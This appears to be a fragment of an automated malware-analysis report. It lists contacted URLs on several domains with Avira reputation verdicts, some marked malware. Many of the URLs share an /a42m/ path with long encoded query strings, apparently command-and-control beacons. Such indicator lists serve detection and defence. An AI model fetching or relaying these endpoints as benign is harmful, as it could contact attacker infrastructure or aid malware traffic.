  • Avira URL Cloud: malware
 unknown
http://www.p65cq675did.shop/a42m/ false
  • 0%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://www.crimsoncascade.xyz/a42m/ true
  • Avira URL Cloud: safe
 unknown
http://www.p65cq675did.shop/a42m/?vH5=vQQIiwhFgpVoGnhhtc2P1VILfyaWtEv7qbiLczs1d6+poiTW6QrgALxDe+CMs+NuEeSHyk/V30WhMaxjncGhKZCgCMKVtFum7SXMM5CUlA+qFcg/x36UpY0MC+LaLW6wHA==&R0nl4=f64p false
  • Avira URL Cloud: safe
 unknown
http://www.leaflearn.store/a42m/ false
  • Avira URL Cloud: safe
 unknown
http://www.xn--bb55rtp-9va2p.store/a42m/ true
  • Avira URL Cloud: malware
 unknown
http://www.ratulunabet78.xyz/a42m/?vH5=98dQgeI97PpkPBwDNVDdt2fIP/8t+dN1kUHbH7cCS7ph4DK0k1WK4KE3/58PmNJa+S2FnMy9XFHjKVdPS0wRAwevARZLL3+cVCGRrbGhBpDtYSzj3TCwpxccczld+77x/A==&R0nl4=f64p false
  • Avira URL Cloud: malware
 unknown
http://www.gregoriusalvin.com/a42m/?R0nl4=f64p&vH5=6CH/YRMAK7aydmoZX4rE3aHTO96gtIC3593I/qH1Euv5gdtO1aVIaIsEnNz/XwGPewRjk6ONG4Ys+seqd2cELhY1N+SfeluTEbHos+Hkwv+a06EBMG8yJcZA+l8yWcOKFg== true
  • Avira URL Cloud: safe
 unknown
http://www.6whebx.cyou/a42m/ false
  • Avira URL Cloud: safe
 unknown
http://www.tintasmaiscor.com/a42m/?R0nl4=f64p&vH5=BaBbynwG2FaMiw+m+oe/pVgQl9HtQpBnPsDfKOVNrs70A5vduIAG3AN1jPdCIStIA9EjWNWwwUOGmupZW6v0AZj8SPVeonrFiOinbxCwnOWiWMOKy28ccO1L5nk/mSSCeg== true
  • Avira URL Cloud: safe
 unknown
http://www.crimsoncascade.xyz/a42m/?vH5=OaCxij+az8CWZkVSgZ9BvYP+nrAHPzHJsZdPmSHU0RFVoK/pLfrBJ2MjeSz+pAxrgiF9enqzkwmMWhrDz0ZQ4sIJ7tOHf1xt78d5/aV4E0eta/TI3w61kMO4VihKAD9uew==&R0nl4=f64p true
  • Avira URL Cloud: safe
 unknown
http://www.fidyart.com/a42m/?vH5=TRa47sC0zg9DwlJApIa9TKXT0LmdSyPROaHr8XI2UWJs85O5KJ5vgIdD5G7YtksjxwnhYTkQf9KJFjTFonbd3AHZxsuWNHNjjLjlx6sM8JLXfuIwaQjmht/eByOeQ7cAZg==&R0nl4=f64p false
  • Avira URL Cloud: safe
 unknown
http://www.leaflearn.store/a42m/?R0nl4=f64p&vH5=q82ug4hJ4iMW1QeZ+GCgoJbZS3jVtW+Vvu2ntYvjkNah5D8fKd1XYREKBHF28ngiXJtWR4/9FoDVe0EJ2zKZXh/HzsdFhnk2W05Rc4EGYuWHBokuuF9nEMUprlqBVZ4vog== false
  • Avira URL Cloud: safe
 unknown
http://www.tintasmaiscor.com/a42m/ true
  • Avira URL Cloud: safe
 unknown